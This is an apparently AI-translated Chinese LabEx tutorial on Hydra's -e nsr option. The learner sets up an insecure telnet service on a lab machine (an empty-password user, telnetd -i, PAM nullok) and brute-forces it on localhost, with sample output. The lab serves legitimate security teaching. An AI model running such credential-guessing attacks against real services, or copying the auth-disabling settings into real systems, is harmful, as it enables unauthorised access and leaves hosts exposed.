使用 Hydra 额外密码检查

HydraHydraBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在这个实验中,你将学习如何在 Hydra(一个强大的网络登录密码破解工具)中使用额外的密码检查。具体来说,你将在 LabEx 虚拟机上设置一个 Telnet 服务,然后使用 Hydra 的 -e nsr 选项进行密码破解尝试。该选项允许 Hydra 自动尝试空密码、用户名本身作为密码以及用户名反转后的字符串作为密码。这是一种在渗透测试中快速识别弱密码或默认凭据的常用技术。

该实验将指导你完成在 LabEx 虚拟机上安装和配置 Telnet 服务的过程。然后,你将使用 Hydra 的 -e nsr 标志来演示如何使用这些额外的检查来查找简单的密码。最后,你将比较使用仅 -e ns 选项的结果,以了解包含用户名反转检查的影响。

设置 Telnet 服务

本步骤中,我们将配置 LabEx 虚拟机上的 Telnet 服务。Telnet 是一种网络协议,它提供了一个命令行界面来访问远程服务器。虽然 Telnet 通常被认为在生产环境中是不安全的,因为它以明文传输数据,但在受控的实验环境中演示密码破解技术是合适的。

首先,我们需要创建一个具有空密码的测试用户帐户:

sudo useradd -m testuser
sudo passwd -d testuser

passwd -d 命令删除用户的密码,从而有效地创建了一个空密码。

我们需要编辑 Telnet 配置文件,该文件位于 /etc/inetd.conf。使用 nano 编辑器打开该文件:

sudo nano /etc/inetd.conf

nano 编辑器中,找到以 telnet 开头的行。它应该类似于这样:

telnet  stream  tcp nowait telnetd /usr/sbin/tcpd  /usr/sbin/telnetd

通过在该行开头添加 # 来注释掉该行:

#telnet  stream  tcp nowait telnetd /usr/sbin/tcpd  /usr/sbin/telnetd

现在,在已注释掉的行的下方添加以下行。新行配置 Telnet 使用 -i 选项,该选项禁用身份验证。

telnet  stream  tcp nowait telnetd /usr/sbin/in.telnetd -i
Telnet 配置文件

现在,你的 /etc/inetd.conf 文件的相关部分应该如下所示:

#telnet  stream  tcp nowait telnetd /usr/sbin/tcpd  /usr/sbin/telnetd
telnet  stream  tcp nowait telnetd /usr/sbin/in.telnetd -i

Ctrl+X 退出 nano。系统提示保存时,按 Y,然后按 Enter 保存更改到 /etc/inetd.conf

此外,我们需要验证 PAM 是否配置为允许 Telnet 的空密码。检查 PAM 配置:

cat /etc/pam.d/common-auth | grep pam_unix.so

你应该看到类似于这样的行:

auth    [success=1 default=ignore]      pam_unix.so nullok

如果该行不包含 nullok,则需要添加它。编辑文件:

sudo nano /etc/pam.d/common-auth

找到包含 pam_unix.so 的行,并在末尾添加 nullok(如果它不存在)。保存并退出文件,如果你进行了任何更改。

最后,我们需要重启 inetd 服务,使更改生效。由于我们处于 Docker 容器环境中,我们将使用 /etc/init.d 脚本重启服务:

sudo /etc/init.d/openbsd-inetd restart

你应该看到指示服务正在重启的输出:

 * Restarting internet superserver inetd

现在,Telnet 服务已设置并配置为允许在该实验中进行无密码登录。

使用 -e nsr 检查运行 Hydra

本步骤中,我们将使用 Hydra 对 Telnet 服务进行暴力破解攻击。我们将具体使用 -e nsr 选项指示 Hydra 尝试空密码、用户名本身以及用户名反转后的字符串作为潜在密码。

~/project 目录中打开你的终端并执行以下命令:

hydra -l testuser -P ~/project/unix_passwords.txt -vV -e nsr telnet://localhost

让我们分解这个命令:

  • hydra: 这是运行 Hydra 工具的命令。
  • -l testuser: 这指定了攻击使用的用户名。我们针对的是我们创建的具有空密码的测试用户。
  • -P ~/project/unix_passwords.txt: 这指定了一个密码列表文件,用于除了 -e 指定的检查之外的额外检查。该文件包含我们在设置步骤中下载的常见 Unix 密码列表。
  • -vV: 此选项启用详细输出,显示每次登录尝试及其结果。
  • -e nsr: 这是本步骤的关键选项。它告诉 Hydra 执行额外的检查:
    • n: 尝试空密码(空字符串)。
    • s: 尝试用户名 (testuser) 作为密码。
    • r: 尝试用户名反转 (resutest) 作为密码。
  • telnet://localhost: 这指定了目标服务和地址。telnet 指示 Telnet 协议,localhost 指的是本地机器(LabEx 虚拟机本身)。

执行该命令。Hydra 将开始尝试使用指定的用户名和密码列表、空密码、用户名以及用户名反转后的字符串,登录目标主机 23 端口(默认 Telnet 端口)上的 Telnet 服务。

你将看到类似于这样的输出,因为 Hydra 正在尝试:

Hydra vX.Y (c) 2020 by van Hauser/THC - use allowed only for legal purposes.

Hydra is starting...

[DATA] 1 task, 1 server, XXXX service(s)
[DATA] attacking service telnet on port 23
[DATA] attacking target localhost
[ATTEMPT] target localhost - login: 'testuser' - pass: ''
[23][telnet] host: localhost   login: testuser   password:
[ATTEMPT] target localhost - login: 'testuser' - pass: 'testuser'
[ATTEMPT] target localhost - login: 'testuser' - pass: 'resutest'
...

由于我们配置了测试用户具有空密码,Hydra 应该会快速找到使用空密码的成功登录(第一个使用空密码的尝试)。

检查成功登录尝试的输出

本步骤中,我们将检查你刚刚运行的 Hydra 命令的输出,以识别成功的登录尝试。

请在你的终端输出中向上滚动,查找指示成功登录的行。这些行通常以端口号和服务为标志,后跟主机、用户名和密码。

由于我们配置的 Telnet 服务允许无密码登录,你应该在输出中看到类似于此的行:

[23][telnet] host: localhost   login: testuser   password:

此行确认 Hydra 使用用户名 testuser 和空密码(密码后为空格表示)成功登录了 localhost 上的 Telnet 服务。

如果 ~/project/unix_passwords.txt 文件中的任何密码与 testuser 用户的实际密码匹配,你可能还会看到其他成功的登录(尽管在本实验设置中,空密码是预期的成功检查)。

-vV 选项为每次尝试提供详细输出,这对于理解 Hydra 的进展情况以及它正在尝试哪些密码很有用。成功的登录行清楚地显示了有效的凭据。

本步骤演示了 -e nsr 选项如何帮助快速识别常见的弱密码场景,例如空密码,这些场景在标准密码列表中经常被忽略。

与 -e ns 检查进行比较

本步骤中,我们将再次运行 Hydra,但这次我们将使用 -e ns 选项而不是 -e nsr。这将告诉 Hydra 尝试空密码和用户名作为密码,但它不会尝试用户名反转后的字符串。通过比较此命令的输出与之前的输出,你可以看到执行的检查差异。

~/project 目录中打开你的终端并执行以下命令:

hydra -l testuser -P ~/project/unix_passwords.txt -vV -e ns telnet://localhost

此命令与之前的命令几乎相同,唯一的区别是 -e ns 选项。

  • -e ns: 此选项告诉 Hydra 执行以下额外检查:
    • n: 尝试空密码。
    • s: 尝试用户名 (testuser) 作为密码。

执行该命令。Hydra 将再次尝试登录 Telnet 服务,尝试密码列表中的密码、空密码和用户名作为密码。

观察输出。你将看到类似于之前运行的空密码和用户名作为密码的尝试。但是,你不会看到用户名反转 (resutest) 的尝试。

Hydra vX.Y (c) 2020 by van Hauser/THC - use allowed only for legal purposes.

Hydra is starting...

[DATA] 1 task, 1 server, XXXX service(s)
[DATA] attacking service telnet on port 23
[DATA] attacking target localhost
[ATTEMPT] target localhost - login: 'testuser' - pass: ''
[23][telnet] host: localhost   login: testuser   password:
[ATTEMPT] target localhost - login: 'testuser' - pass: 'testuser'
...

通过比较此命令的输出与步骤 2 的输出,你可以清楚地看到 -e nsr 选项包含用户名反转检查,而 -e ns 选项则不包含。这突出了 Hydra 中不同的选项如何允许你自定义密码破解过程,并包含特定类型的检查,这些检查在某些场景中可能相关。

总结

在本实验中,你学习了如何通过在 LabEx 虚拟机上设置 Telnet 服务并使用 -e nsr 选项来在 Hydra 中使用额外的密码检查。你安装了 telnetd 包,并通过创建具有空密码的测试用户、修改 /etc/inetd.conf 文件以及配置 PAM 以允许空密码,来配置 Telnet 服务以允许空密码,以便进行演示。

然后,你使用带有 -e nsr 选项的 Hydra 执行密码破解尝试,其中包括尝试空密码、用户名作为密码以及用户名反转后的字符串作为密码。你观察了输出并识别了使用空密码的成功登录。最后,你将结果与使用 -e ns 选项的结果进行了比较,以了解执行的检查差异。本实验演示了如何使用 Hydra 的额外密码检查快速识别常见的弱凭据。